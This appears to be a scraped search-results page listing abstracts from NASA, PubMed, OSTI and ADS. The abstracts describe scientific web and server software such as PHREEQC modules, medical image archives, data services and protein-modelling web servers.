The geochemical model PHREEQC is capable of simulating a wide range of equilibrium reactions between water and minerals, ion exchangers, surface complexes, solid solutions, and gases. It also has a general kinetic formulation that allows modeling of nonequilibrium mineral dissolution and precipitation, microbial reactions, decomposition of organic compounds, and other kinetic reactions. To facilitate use of these reaction capabilities in scripting languages and other models, PHREEQC has been implemented in modules that easily interface with other software. A Microsoft COM (component object model) has been implemented, which allows PHREEQC to be used by any software that can interface with a COM server-for example, Excel??, Visual Basic??, Python, or MATLAB??. PHREEQC has been converted to a C++ class, which can be included in programs written in C++. The class also has been compiled in libraries for Linux and Windows that allow PHREEQC to be called from C++, C, and Fortran. A limited set of methods implements the full reaction capabilities of PHREEQC for each module. Input methods use strings or files to define reaction calculations in exactly the same formats used by PHREEQC. Output methods provide a table of user-selected model results, such as concentrations, activities, saturation indices, and densities. The PHREEQC module can add geochemical reaction capabilities to surface-water, groundwater, and watershed transport models. It is possible to store and manipulate solution compositions and reaction information for many cells within the module. In addition, the object-oriented nature of the PHREEQC modules simplifies implementation of parallel processing for reactive-transport models. The PHREEQC COM module may be used in scripting languages to fit parameters; to plot PHREEQC results for field, laboratory, or theoretical investigations; or to develop new models that include simple or complex geochemical calculations. ?? 2011.

Space Images for NASA JPL Android Version

NASA Technical Reports Server (NTRS)

Nelson, Jon D.; Gutheinz, Sandy C.; Strom, Joshua R.; Arca, Jeremy M.; Perez, Martin; Boggs, Karen; Stanboli, Alice

2013-01-01

This software addresses the demand for easily accessible NASA JPL images and videos by providing a user friendly and simple graphical user interface that can be run via the Android platform from any location where Internet connection is available. This app is complementary to the iPhone version of the application. A backend infrastructure stores, tracks, and retrieves space images from the JPL Photojournal and Institutional Communications Web server, and catalogs the information into a streamlined rating infrastructure. This system consists of four distinguishing components: image repository, database, server-side logic, and Android mobile application. The image repository contains images from various JPL flight projects. The database stores the image information as well as the user rating. The server-side logic retrieves the image information from the database and categorizes each image for display. The Android mobile application is an interfacing delivery system that retrieves the image information from the server for each Android mobile device user. Also created is a reporting and tracking system for charting and monitoring usage. Unlike other Android mobile image applications, this system uses the latest emerging technologies to produce image listings based directly on user input. This allows for countless combinations of images returned. The backend infrastructure uses industry-standard coding and database methods, enabling future software improvement and technology updates. The flexibility of the system design framework permits multiple levels of display possibilities and provides integration capabilities. Unique features of the software include image/video retrieval from a selected set of categories, image Web links that can be shared among e-mail users, sharing to Facebook/Twitter, marking as user's favorites, and image metadata searchable for instant results.

Implementation of the Algorithm for Congestion control in the Dynamic Circuit Network (DCN)

NASA Astrophysics Data System (ADS)

Nalamwar, H. S.; Ivanov, M. A.; Buddhawar, G. U.

2017-01-01

Transport Control Protocol (TCP) incast congestion happens when a number of senders work in parallel with the same server where the high bandwidth and low latency network problem occurs. For many data center network applications such as a search engine, heavy traffic is present on such a server. Incast congestion degrades the entire performance as packets are lost at a server side due to buffer overflow, and as a result, the response time becomes longer. In this work, we focus on TCP throughput, round-trip time (RTT), receive window and retransmission. Our method is based on the proactive adjust of the TCP receive window before the packet loss occurs. We aim to avoid the wastage of the bandwidth by adjusting its size as per the number of packets. To avoid the packet loss, the ICTCP algorithm has been implemented in the data center network (ToR).

MERRA/AS: The MERRA Analytic Services Project Interim Report

NASA Technical Reports Server (NTRS)

Schnase, John; Duffy, Dan; Tamkin, Glenn; Nadeau, Denis; Thompson, Hoot; Grieg, Cristina; Luczak, Ed; McInerney, Mark

2013-01-01

MERRA AS is a cyberinfrastructure resource that will combine iRODS-based Climate Data Server (CDS) capabilities with Coudera MapReduce to serve MERRA analytic products, store the MERRA reanalysis data collection in an HDFS to enable parallel, high-performance, storage-side data reductions, manage storage-side driver, mapper, reducer code sets and realized objects for users, and provide a library of commonly used spatiotemporal operations that can be composed to enable higher-order analyses.

Technology insertion of a COTS RAID server as an image buffer in the image chain of the Defense Mapping Agency's Digital Production System

NASA Astrophysics Data System (ADS)

Mehring, James W.; Thomas, Scott D.

1995-11-01

The Data Services Segment of the Defense Mapping Agency's Digital Production System provides a digital archive of imagery source data for use by DMA's cartographic user's. This system was developed in the mid-1980's and is currently undergoing modernization. This paper addresses the modernization of the imagery buffer function that was performed by custom hardware in the baseline system and is being replaced by a RAID Server based on commercial off the shelf (COTS) hardware. The paper briefly describes the baseline DMA image system and the modernization program, that is currently under way. Throughput benchmark measurements were made to make design configuration decisions for a commercial off the shelf (COTS) RAID Server to perform as system image buffer. The test program began with performance measurements of the RAID read and write operations between the RAID arrays and the server CPU for RAID levels 0, 5 and 0+1. Interface throughput measurements were made for the HiPPI interface between the RAID Server and the image archive and processing system as well as the client side interface between a custom interface board that provides the interface between the internal bus of the RAID Server and the Input- Output Processor (IOP) external wideband network currently in place in the DMA system to service client workstations. End to end measurements were taken from the HiPPI interface through the RAID write and read operations to the IOP output interface.

Research on realization scheme of interactive voice response (IVR) system

NASA Astrophysics Data System (ADS)

Jin, Xin; Zhu, Guangxi

2003-12-01

In this paper, a novel interactive voice response (IVR) system is proposed, which is apparently different from the traditional. Using software operation and network control, the IVR system is presented which only depends on software in the server in which the system lies and the hardware in network terminals on user side, such as gateway (GW), personal gateway (PG), PC and so on. The system transmits the audio using real time protocol (RTP) protocol via internet to the network terminals and controls flow using finite state machine (FSM) stimulated by H.245 massages sent from user side and the system control factors. Being compared with other existing schemes, this IVR system results in several advantages, such as greatly saving the system cost, fully utilizing the existing network resources and enhancing the flexibility. The system is capable to be put in any service server anywhere in the Internet and even fits for the wireless applications based on packet switched communication. The IVR system has been put into reality and passed the system test.

A Functional Data Model Realized: LaTiS Deployments

NASA Astrophysics Data System (ADS)

Baltzer, T.; Lindholm, D. M.; Wilson, A.; Putnam, B.; Christofferson, R.; Flores, N.; Roughton, S.

2016-12-01

At prior AGU annual meetings, members of the University of Colorado Laboratory for Atmospheric and Space Physics (LASP) Web Team have described work being done on a functional data model and the software framework called LaTis, that implements it. This presentation describes the evolution of LaTiS and presents several instances of LaTiS in operation today that demonstrate its various capabilities. With LaTiS, serving a new dataset can be a simple as adding a small descriptor file. From providing access to spacecraft telemetry data in a variety of forms for the LASP missions operation group, to providing access to scientific data for the MMS and MAVEN science teams, to server-side functionality such as fusing satellite visible and infrared data along with forecast model data into a Geotiff image for situational awareness purposes, LaTiS has demonstrated itself as a highly flexible, standards-based framework that provides easy data access, dynamic reformatting, and customizable server side functionality.

Datacube Services in Action, Using Open Source and Open Standards

NASA Astrophysics Data System (ADS)

Baumann, P.; Misev, D.

2016-12-01

Array Databases comprise novel, promising technology for massive spatio-temporal datacubes, extending the SQL paradigm of "any query, anytime" to n-D arrays. On server side, such queries can be optimized, parallelized, and distributed based on partitioned array storage. The rasdaman ("raster data manager") system, which has pioneered Array Databases, is available in open source on www.rasdaman.org. Its declarative query language extends SQL with array operators which are optimized and parallelized on server side. The rasdaman engine, which is part of OSGeo Live, is mature and in operational use databases individually holding dozens of Terabytes. Further, the rasdaman concepts have strongly impacted international Big Data standards in the field, including the forthcoming MDA ("Multi-Dimensional Array") extension to ISO SQL, the OGC Web Coverage Service (WCS) and Web Coverage Processing Service (WCPS) standards, and the forthcoming INSPIRE WCS/WCPS; in both OGC and INSPIRE, OGC is WCS Core Reference Implementation. In our talk we present concepts, architecture, operational services, and standardization impact of open-source rasdaman, as well as experiences made.

A patient privacy protection scheme for medical information system.

PubMed

Lu, Chenglang; Wu, Zongda; Liu, Mingyong; Chen, Wei; Guo, Junfang

2013-12-01

In medical information systems, there are a lot of confidential information about patient privacy. It is therefore an important problem how to prevent patient's personal privacy information from being disclosed. Although traditional security protection strategies (such as identity authentication and authorization access control) can well ensure data integrity, they cannot prevent system's internal staff (such as administrators) from accessing and disclosing patient privacy information. In this paper, we present an effective scheme to protect patients' personal privacy for a medical information system. In the scheme, privacy data before being stored in the database of the server of a medical information system would be encrypted using traditional encryption algorithms, so that the data even if being disclosed are also difficult to be decrypted and understood. However, to execute various kinds of query operations over the encrypted data efficiently, we would also augment the encrypted data with additional index, so as to process as much of the query as possible at the server side, without the need to decrypt the data. Thus, in this paper, we mainly explore how the index of privacy data is constructed, and how a query operation over privacy data is translated into a new query over the corresponding index so that it can be executed at the server side immediately. Finally, both theoretical analysis and experimental evaluation validate the practicality and effectiveness of our proposed scheme.

Network oriented radiological and medical archive

NASA Astrophysics Data System (ADS)

Ferraris, M.; Frixione, P.; Squarcia, S.

2001-10-01

In this paper the basic ideas of NORMA (Network Oriented Radiological and Medical Archive) are discussed. NORMA is an original project built by a team of physicists in collaboration with radiologists in order to select the best Treatment Planning in radiotherapy. It allows physicians and health physicists, working in different places, to discuss on interesting clinical cases visualizing the same diagnostic images, at the same time, and highlighting zones of interest (tumors and organs at risk). NORMA has a client/server architecture in order to be platform independent. Applying World Wide Web technologies, it can be easily used by people with no specific computer knowledge providing a verbose help to guide the user through the right steps of execution. The client side is an applet while the server side is a Java application. In order to optimize execution the project also includes a proprietary protocol, lying over TCP/IP suite, that organizes data exchanges and control messages. Diagnostic images are retrieved from a relational database or from a standard DICOM (Digital Images and COmmunications in Medicine) PACS through the DICOM-WWW gateway allowing connection of the usual Web browsers, used by the NORMA system, to DICOM applications via the HTTP protocol. Browser requests are sent to the gateway from the Web server through CGI (Common Gateway Interface). DICOM software translates the requests in DICOM messages and organizes the communication with the remote DICOM Application.

Amino Acid Interaction (INTAA) web server.

PubMed

Galgonek, Jakub; Vymetal, Jirí; Jakubec, David; Vondrášek, Jirí

2017-07-03

Large biomolecules-proteins and nucleic acids-are composed of building blocks which define their identity, properties and binding capabilities. In order to shed light on the energetic side of interactions of amino acids between themselves and with deoxyribonucleotides, we present the Amino Acid Interaction web server (http://bioinfo.uochb.cas.cz/INTAA/). INTAA offers the calculation of the residue Interaction Energy Matrix for any protein structure (deposited in Protein Data Bank or submitted by the user) and a comprehensive analysis of the interfaces in protein-DNA complexes. The Interaction Energy Matrix web application aims to identify key residues within protein structures which contribute significantly to the stability of the protein. The application provides an interactive user interface enhanced by 3D structure viewer for efficient visualization of pairwise and net interaction energies of individual amino acids, side chains and backbones. The protein-DNA interaction analysis part of the web server allows the user to view the relative abundance of various configurations of amino acid-deoxyribonucleotide pairs found at the protein-DNA interface and the interaction energies corresponding to these configurations calculated using a molecular mechanical force field. The effects of the sugar-phosphate moiety and of the dielectric properties of the solvent on the interaction energies can be studied for the various configurations. © The Author(s) 2017. Published by Oxford University Press on behalf of Nucleic Acids Research.

Vanderbilt University Institute of Imaging Science Center for Computational Imaging XNAT: A multimodal data archive and processing environment.

PubMed

Harrigan, Robert L; Yvernault, Benjamin C; Boyd, Brian D; Damon, Stephen M; Gibney, Kyla David; Conrad, Benjamin N; Phillips, Nicholas S; Rogers, Baxter P; Gao, Yurui; Landman, Bennett A

2016-01-01

The Vanderbilt University Institute for Imaging Science (VUIIS) Center for Computational Imaging (CCI) has developed a database built on XNAT housing over a quarter of a million scans. The database provides framework for (1) rapid prototyping, (2) large scale batch processing of images and (3) scalable project management. The system uses the web-based interfaces of XNAT and REDCap to allow for graphical interaction. A python middleware layer, the Distributed Automation for XNAT (DAX) package, distributes computation across the Vanderbilt Advanced Computing Center for Research and Education high performance computing center. All software are made available in open source for use in combining portable batch scripting (PBS) grids and XNAT servers. Copyright © 2015 Elsevier Inc. All rights reserved.

Dynamic alarm response procedures

DOE Office of Scientific and Technical Information (OSTI.GOV)

Martin, J.; Gordon, P.; Fitch, K.

2006-07-01

The Dynamic Alarm Response Procedure (DARP) system provides a robust, Web-based alternative to existing hard-copy alarm response procedures. This paperless system improves performance by eliminating time wasted looking up paper procedures by number, looking up plant process values and equipment and component status at graphical display or panels, and maintenance of the procedures. Because it is a Web-based system, it is platform independent. DARP's can be served from any Web server that supports CGI scripting, such as Apache{sup R}, IIS{sup R}, TclHTTPD, and others. DARP pages can be viewed in any Web browser that supports Javascript and Scalable Vector Graphicsmore » (SVG), such as Netscape{sup R}, Microsoft Internet Explorer{sup R}, Mozilla Firefox{sup R}, Opera{sup R}, and others. (authors)« less

Better Living Through Metadata: Examining Archive Usage

NASA Astrophysics Data System (ADS)

Becker, G.; Winkelman, S.; Rots, A.

2013-10-01

The primary purpose of an observatory's archive is to provide access to the data through various interfaces. User interactions with the archive are recorded in server logs, which can be used to answer basic questions like: Who has downloaded dataset X? When did she do this? Which tools did she use? The answers to questions like these fill in patterns of data access (e.g., how many times dataset X has been downloaded in the past three years). Analysis of server logs provides metrics of archive usage and provides feedback on interface use which can be used to guide future interface development. The Chandra X-ray Observatory is fortunate in that a database to track data access and downloads has been continuously recording such transactions for years; however, it is overdue for an update. We will detail changes we hope to effect and the differences the changes may make to our usage metadata picture. We plan to gather more information about the geographic location of users without compromising privacy; create improved archive statistics; and track and assess the impact of web “crawlers” and other scripted access methods on the archive. With the improvements to our download tracking we hope to gain a better understanding of the dissemination of Chandra's data; how effectively it is being done; and perhaps discover ideas for new services.

Trends in free WWW-based E-learning Modules seen from the Learning Resource Server Medicine (LRSMed).

PubMed

Stausberg, Jürgen; Geueke, Martin; Bludßat, Kevin

2005-01-01

Despite the lost enthusiasm concerning E-learning a lot of material is available on the World Wide Web (WWW) free of charge. This material is collected and systematically described by services like the Learning Resource Server Medicine (LRSMed) at http://mmedia.medizin.uni-essen.de/portal/. With the LRSMed E-learning modules are made available for medical students by means of a metadata description that can be used for a catalogue search. The number of resources included has risen enormously from 100 in 1999 up to 805 today. Especially in 2004 there was an exponential increase in the LRSMed's content. Anatomy is still the field with the highest amount of available material, but general medicine has improved its position over the years and is now the second one. Technically and didactically simple material as scripts, textbooks, and link lists (called info services) is still dominating. Similar to 1999, there is not one module which could be truly referred to as tutorial dialogue. Simple material can not replace face-to-face-teaching. But it could be combined with conventional courses to establish some kind of blending learning. The scene of free E-learning modules on the WWW is ready to meet current challenges for efficient training of students and continuing education in medicine.

A web-based institutional DICOM distribution system with the integration of the Clinical Trial Processor (CTP).

PubMed

Aryanto, K Y E; Broekema, A; Langenhuysen, R G A; Oudkerk, M; van Ooijen, P M A

2015-05-01

To develop and test a fast and easy rule-based web-environment with optional de-identification of imaging data to facilitate data distribution within a hospital environment. A web interface was built using Hypertext Preprocessor (PHP), an open source scripting language for web development, and Java with SQL Server to handle the database. The system allows for the selection of patient data and for de-identifying these when necessary. Using the services provided by the RSNA Clinical Trial Processor (CTP), the selected images were pushed to the appropriate services using a protocol based on the module created for the associated task. Five pipelines, each performing a different task, were set up in the server. In a 75 month period, more than 2,000,000 images are transferred and de-identified in a proper manner while 20,000,000 images are moved from one node to another without de-identification. While maintaining a high level of security and stability, the proposed system is easy to setup, it integrate well with our clinical and research practice and it provides a fast and accurate vendor-neutral process of transferring, de-identifying, and storing DICOM images. Its ability to run different de-identification processes in parallel pipelines is a major advantage in both clinical and research setting.

Sirepo - Warp

DOE Office of Scientific and Technical Information (OSTI.GOV)

Nagler, Robert; Moeller, Paul

Sirepo is an open source framework for cloud computing. The graphical user interface (GUI) for Sirepo, also known as the client, executes in any HTML5 compliant web browser on any computing platform, including tablets. The client is built in JavaScript, making use of the following open source libraries: Bootstrap, which is fundamental for cross-platform web applications; AngularJS, which provides a model–view–controller (MVC) architecture and GUI components; and D3.js, which provides interactive plots and data-driven transformations. The Sirepo server is built on the following Python technologies: Flask, which is a lightweight framework for web development; Jin-ja, which is a secure andmore » widely used templating language; and Werkzeug, a utility library that is compliant with the WSGI standard. We use Nginx as the HTTP server and proxy, which provides a scalable event-driven architecture. The physics codes supported by Sirepo execute inside a Docker container. One of the codes supported by Sirepo is Warp. Warp is a particle-in-cell (PIC) code de-signed to simulate high-intensity charged particle beams and plasmas in both the electrostatic and electromagnetic regimes, with a wide variety of integrated physics models and diagnostics. At pre-sent, Sirepo supports a small subset of Warp’s capabilities. Warp is open source and is part of the Berkeley Lab Accelerator Simulation Toolkit.« less

Solar Irradiance Data Products at the LASP Interactive Solar IRradiance Datacenter (LISIRD)

NASA Astrophysics Data System (ADS)

Lindholm, D. M.; Ware DeWolfe, A.; Wilson, A.; Pankratz, C. K.; Snow, M. A.; Woods, T. N.

2011-12-01

The Laboratory for Atmospheric and Space Physics (LASP) has developed the LASP Interactive Solar IRradiance Datacenter (LISIRD, http://lasp.colorado.edu/lisird/) web site to provide access to a comprehensive set of solar irradiance measurements and related datasets. Current data holdings include products from NASA missions SORCE, UARS, SME, and TIMED-SEE. The data provided covers a wavelength range from soft X-ray (XUV) at 0.1 nm up to the near infrared (NIR) at 2400 nm, as well as Total Solar Irradiance (TSI). Other datasets include solar indices, spectral and flare models, solar images, and more. The LISIRD web site features updated plotting, browsing, and download capabilities enabled by dygraphs, JavaScript, and Ajax calls to the LASP Time Series Server (LaTiS). In addition to the web browser interface, most of the LISIRD datasets can be accessed via the LaTiS web service interface that supports the OPeNDAP standard. OPeNDAP clients and other programming APIs are available for making requests that subset, aggregate, or filter data on the server before it is transported to the user. This poster provides an overview of the LISIRD system, summarizes the datasets currently available, and provides details on how to access solar irradiance data products through LISIRD's interfaces.

Performance evaluation of a distance learning program.

PubMed

Dailey, D J; Eno, K R; Brinkley, J F

1994-01-01

This paper presents a performance metric which uses a single number to characterize the response time for a non-deterministic client-server application operating over the Internet. When applied to a Macintosh-based distance learning application called the Digital Anatomist Browser, the metric allowed us to observe that "A typical student doing a typical mix of Browser commands on a typical data set will experience the same delay if they use a slow Macintosh on a local network or a fast Macintosh on the other side of the country accessing the data over the Internet." The methodology presented is applicable to other client-server applications that are rapidly appearing on the Internet.

QuIN: A Web Server for Querying and Visualizing Chromatin Interaction Networks

PubMed Central

Thibodeau, Asa; Márquez, Eladio J.; Luo, Oscar; Ruan, Yijun; Shin, Dong-Guk; Stitzel, Michael L.; Ucar, Duygu

2016-01-01

Recent studies of the human genome have indicated that regulatory elements (e.g. promoters and enhancers) at distal genomic locations can interact with each other via chromatin folding and affect gene expression levels. Genomic technologies for mapping interactions between DNA regions, e.g., ChIA-PET and HiC, can generate genome-wide maps of interactions between regulatory elements. These interaction datasets are important resources to infer distal gene targets of non-coding regulatory elements and to facilitate prioritization of critical loci for important cellular functions. With the increasing diversity and complexity of genomic information and public ontologies, making sense of these datasets demands integrative and easy-to-use software tools. Moreover, network representation of chromatin interaction maps enables effective data visualization, integration, and mining. Currently, there is no software that can take full advantage of network theory approaches for the analysis of chromatin interaction datasets. To fill this gap, we developed a web-based application, QuIN, which enables: 1) building and visualizing chromatin interaction networks, 2) annotating networks with user-provided private and publicly available functional genomics and interaction datasets, 3) querying network components based on gene name or chromosome location, and 4) utilizing network based measures to identify and prioritize critical regulatory targets and their direct and indirect interactions. AVAILABILITY: QuIN’s web server is available at http://quin.jax.org QuIN is developed in Java and JavaScript, utilizing an Apache Tomcat web server and MySQL database and the source code is available under the GPLV3 license available on GitHub: https://github.com/UcarLab/QuIN/. PMID:27336171

Design and implementation of a reliable and cost-effective cloud computing infrastructure: the INFN Napoli experience

NASA Astrophysics Data System (ADS)

Capone, V.; Esposito, R.; Pardi, S.; Taurino, F.; Tortone, G.

2012-12-01

Over the last few years we have seen an increasing number of services and applications needed to manage and maintain cloud computing facilities. This is particularly true for computing in high energy physics, which often requires complex configurations and distributed infrastructures. In this scenario a cost effective rationalization and consolidation strategy is the key to success in terms of scalability and reliability. In this work we describe an IaaS (Infrastructure as a Service) cloud computing system, with high availability and redundancy features, which is currently in production at INFN-Naples and ATLAS Tier-2 data centre. The main goal we intended to achieve was a simplified method to manage our computing resources and deliver reliable user services, reusing existing hardware without incurring heavy costs. A combined usage of virtualization and clustering technologies allowed us to consolidate our services on a small number of physical machines, reducing electric power costs. As a result of our efforts we developed a complete solution for data and computing centres that can be easily replicated using commodity hardware. Our architecture consists of 2 main subsystems: a clustered storage solution, built on top of disk servers running GlusterFS file system, and a virtual machines execution environment. GlusterFS is a network file system able to perform parallel writes on multiple disk servers, providing this way live replication of data. High availability is also achieved via a network configuration using redundant switches and multiple paths between hypervisor hosts and disk servers. We also developed a set of management scripts to easily perform basic system administration tasks such as automatic deployment of new virtual machines, adaptive scheduling of virtual machines on hypervisor hosts, live migration and automated restart in case of hypervisor failures.

DOE Office of Scientific and Technical Information (OSTI.GOV)

The system is developed to collect, process, store and present the information provided by the radio frequency identification (RFID) devices. The system contains three parts, the application software, the database and the web page. The application software manages multiple RFID devices, such as readers and portals, simultaneously. It communicates with the devices through application programming interface (API) provided by the device vendor. The application software converts data collected by the RFID readers and portals to readable information. It is capable of encrypting data using 256 bits advanced encryption standard (AES). The application software has a graphical user interface (GUI). Themore » GUI mimics the configurations of the nucler material storage sites or transport vehicles. The GUI gives the user and system administrator an intuitive way to read the information and/or configure the devices. The application software is capable of sending the information to a remote, dedicated and secured web and database server. Two captured screen samples, one for storage and transport, are attached. The database is constructed to handle a large number of RFID tag readers and portals. A SQL server is employed for this purpose. An XML script is used to update the database once the information is sent from the application software. The design of the web page imitates the design of the application software. The web page retrieves data from the database and presents it in different panels. The user needs a user name combined with a password to access the web page. The web page is capable of sending e-mail and text messages based on preset criteria, such as when alarm thresholds are excceeded. A captured screen sample is attached. The application software is designed to be installed on a local computer. The local computer is directly connected to the RFID devices and can be controlled locally or remotely. There are multiple local computers managing different sites or transport vehicles. The control from remote sites and information transmitted to a central database server is through secured internet. The information stored in the central databaser server is shown on the web page. The users can view the web page on the internet. A dedicated and secured web and database server (https) is used to provide information security.« less

Progress on big data publication and documentation for machine-to-machine discovery, access, and processing

NASA Astrophysics Data System (ADS)

Walker, J. I.; Blodgett, D. L.; Suftin, I.; Kunicki, T.

2013-12-01

High-resolution data for use in environmental modeling is increasingly becoming available at broad spatial and temporal scales. Downscaled climate projections, remotely sensed landscape parameters, and land-use/land-cover projections are examples of datasets that may exceed an individual investigation's data management and analysis capacity. To allow projects on limited budgets to work with many of these data sets, the burden of working with them must be reduced. The approach being pursued at the U.S. Geological Survey Center for Integrated Data Analytics uses standard self-describing web services that allow machine to machine data access and manipulation. These techniques have been implemented and deployed in production level server-based Web Processing Services that can be accessed from a web application or scripted workflow. Data publication techniques that allow machine-interpretation of large collections of data have also been implemented for numerous datasets at U.S. Geological Survey data centers as well as partner agencies and academic institutions. Discovery of data services is accomplished using a method in which a machine-generated metadata record holds content--derived from the data's source web service--that is intended for human interpretation as well as machine interpretation. A distributed search application has been developed that demonstrates the utility of a decentralized search of data-owner metadata catalogs from multiple agencies. The integrated but decentralized system of metadata, data, and server-based processing capabilities will be presented. The design, utility, and value of these solutions will be illustrated with applied science examples and success stories. Datasets such as the EPA's Integrated Climate and Land Use Scenarios, USGS/NASA MODIS derived land cover attributes, and downscaled climate projections from several sources are examples of data this system includes. These and other datasets, have been published as standard, self-describing, web services that provide the ability to inspect and subset the data. This presentation will demonstrate this file-to-web service concept and how it can be used from script-based workflows or web applications.

OceanNOMADS: A New Distribution Node for Operational Ocean Model Output

NASA Astrophysics Data System (ADS)

Cross, S.; Vance, T.; Breckenridge, T.

2009-12-01

The NOAA National Operational Model Archive and Distribution System (NOMADS) is a distributed, web-services based project providing real-time and retrospective access to climate and weather model data and related datasets. OceanNOMADS is a new NOMADS node dedicated to ocean model and related data, with an initial focus on operational ocean models from NOAA and the U.S. Navy. The node offers data access through a Thematic Real-time Environmental Distributed Data Services (THREDDS) server via the commonly used OPeNDAP protocol. The primary server is operated by the National Coastal Data Development Center and hosted by the Northern Gulf Institute at Stennis Space Center, MS. In cooperation with the National Marine Fisheries Service and Mississippi State University (MSU), a duplicate server is being installed at MSU with a 1-gigabit connection to the National Lambda Rail. This setup will allow us to begin to quantify the benefit of high-speed data connections to scientists needing remote access to these large datasets. Work is also underway on the next generation of services from OceanNOMADS, including user-requested server-side data reformatting, regridding, and aggregation, as well as tools for model-data comparison.

PELE web server: atomistic study of biomolecular systems at your fingertips.

PubMed

Madadkar-Sobhani, Armin; Guallar, Victor

2013-07-01

PELE, Protein Energy Landscape Exploration, our novel technology based on protein structure prediction algorithms and a Monte Carlo sampling, is capable of modelling the all-atom protein-ligand dynamical interactions in an efficient and fast manner, with two orders of magnitude reduced computational cost when compared with traditional molecular dynamics techniques. PELE's heuristic approach generates trial moves based on protein and ligand perturbations followed by side chain sampling and global/local minimization. The collection of accepted steps forms a stochastic trajectory. Furthermore, several processors may be run in parallel towards a collective goal or defining several independent trajectories; the whole procedure has been parallelized using the Message Passing Interface. Here, we introduce the PELE web server, designed to make the whole process of running simulations easier and more practical by minimizing input file demand, providing user-friendly interface and producing abstract outputs (e.g. interactive graphs and tables). The web server has been implemented in C++ using Wt (http://www.webtoolkit.eu) and MySQL (http://www.mysql.com). The PELE web server, accessible at http://pele.bsc.es, is free and open to all users with no login requirement.

A web-based approach for electrocardiogram monitoring in the home.

PubMed

Magrabi, F; Lovell, N H; Celler, B G

1999-05-01

A Web-based electrocardiogram (ECG) monitoring service in which a longitudinal clinical record is used for management of patients, is described. The Web application is used to collect clinical data from the patient's home. A database on the server acts as a central repository where this clinical information is stored. A Web browser provides access to the patient's records and ECG data. We discuss the technologies used to automate the retrieval and storage of clinical data from a patient database, and the recording and reviewing of clinical measurement data. On the client's Web browser, ActiveX controls embedded in the Web pages provide a link between the various components including the Web server, Web page, the specialised client side ECG review and acquisition software, and the local file system. The ActiveX controls also implement FTP functions to retrieve and submit clinical data to and from the server. An intelligent software agent on the server is activated whenever new ECG data is sent from the home. The agent compares historical data with newly acquired data. Using this method, an optimum patient care strategy can be evaluated, a summarised report along with reminders and suggestions for action is sent to the doctor and patient by email.

BetaSCPWeb: side-chain prediction for protein structures using Voronoi diagrams and geometry prioritization

PubMed Central

Ryu, Joonghyun; Lee, Mokwon; Cha, Jehyun; Laskowski, Roman A.; Ryu, Seong Eon; Kim, Deok-Soo

2016-01-01

Many applications, such as protein design, homology modeling, flexible docking, etc. require the prediction of a protein's optimal side-chain conformations from just its amino acid sequence and backbone structure. Side-chain prediction (SCP) is an NP-hard energy minimization problem. Here, we present BetaSCPWeb which efficiently computes a conformation close to optimal using a geometry-prioritization method based on the Voronoi diagram of spherical atoms. Its outputs are visual, textual and PDB file format. The web server is free and open to all users at http://voronoi.hanyang.ac.kr/betascpweb with no login requirement. PMID:27151195

SMART Careplan System for Continuum of Care

PubMed Central

Kim, Young Ah; Jang, Seon Young; Ahn, Meejung; Kim, Kyung Duck

2015-01-01

Objectives This paper describes the integrated Careplan system, designed to manage and utilize the existing Electronic Medical Record (EMR) system; the system also defines key items for interdisciplinary communication and continuity of patient care. Methods We structured the Careplan system to provide effective interdisciplinary communication for healthcare services. The design of the Careplan system architecture proceeded in four steps-defining target datasets; construction of conceptual framework and architecture; screen layout and storyboard creation; screen user interface (UI) design and development, and pilot test and step-by-step deployment. This Careplan system architecture consists of two parts, a server-side and client-side area. On the server-side, it performs the roles of data retrieval and storage from target EMRs. Furthermore, it performs the role of sending push notifications to the client depending on the careplan series. Also, the Careplan system provides various convenient modules to easily enter an individual careplan. Results Currently, Severance Hospital operates the Careplan system and provides a stable service dealing with dynamic changes (e.g., domestic medical certification, the Joint Commission International guideline) of EMR. Conclusions The Careplan system should go hand in hand with key items for strengthening interdisciplinary communication and information sharing within the EMR environment. A well-designed Careplan system can enhance user satisfaction and completed performance. PMID:25705559

SMART Careplan System for Continuum of Care.

PubMed

Kim, Young Ah; Jang, Seon Young; Ahn, Meejung; Kim, Kyung Duck; Kim, Sung Soo

2015-01-01

This paper describes the integrated Careplan system, designed to manage and utilize the existing Electronic Medical Record (EMR) system; the system also defines key items for interdisciplinary communication and continuity of patient care. We structured the Careplan system to provide effective interdisciplinary communication for healthcare services. The design of the Careplan system architecture proceeded in four steps-defining target datasets; construction of conceptual framework and architecture; screen layout and storyboard creation; screen user interface (UI) design and development, and pilot test and step-by-step deployment. This Careplan system architecture consists of two parts, a server-side and client-side area. On the server-side, it performs the roles of data retrieval and storage from target EMRs. Furthermore, it performs the role of sending push notifications to the client depending on the careplan series. Also, the Careplan system provides various convenient modules to easily enter an individual careplan. Currently, Severance Hospital operates the Careplan system and provides a stable service dealing with dynamic changes (e.g., domestic medical certification, the Joint Commission International guideline) of EMR. The Careplan system should go hand in hand with key items for strengthening interdisciplinary communication and information sharing within the EMR environment. A well-designed Careplan system can enhance user satisfaction and completed performance.

Information-Flow-Based Access Control for Web Browsers

NASA Astrophysics Data System (ADS)

Yoshihama, Sachiko; Tateishi, Takaaki; Tabuchi, Naoshi; Matsumoto, Tsutomu

The emergence of Web 2.0 technologies such as Ajax and Mashup has revealed the weakness of the same-origin policy[1], the current de facto standard for the Web browser security model. We propose a new browser security model to allow fine-grained access control in the client-side Web applications for secure mashup and user-generated contents. We propose a browser security model that is based on information-flow-based access control (IBAC) to overcome the dynamic nature of the client-side Web applications and to accurately determine the privilege of scripts in the event-driven programming model.

Augmenting Research, Education, and Outreach with Client-Side Web Programming.

PubMed

Abriata, Luciano A; Rodrigues, João P G L M; Salathé, Marcel; Patiny, Luc

2018-05-01

The evolution of computing and web technologies over the past decade has enabled the development of fully fledged scientific applications that run directly on web browsers. Powered by JavaScript, the lingua franca of web programming, these 'web apps' are starting to revolutionize and democratize scientific research, education, and outreach. Copyright © 2017 Elsevier Ltd. All rights reserved.

Using Frames and JavaScript To Automate Teacher-Side Web Page Navigation for Classroom Presentations.

ERIC Educational Resources Information Center

Snyder, Robin M.

HTML provides a platform-independent way of creating and making multimedia presentations for classroom instruction and making that content available on the Internet. However, time in class is very valuable, so that any way to automate or otherwise assist the presenter in Web page navigation during class can save valuable seconds. This paper…

Legitimacy: First Principles and Efficacy in R2P Operations

DTIC Science & Technology

2013-05-23

military hostilities for six months. His conclusion is that mixed interventions on the side of governments are most succesful . Matthew Krain’s...of time. In the first 100 days of the Rwandan crisis, 800,000 people ...often have an interest in securing an international script of human rights for their people in the future. In this way, human rights are not

Web-Accessible Scientific Workflow System for Performance Monitoring

DOE Office of Scientific and Technical Information (OSTI.GOV)

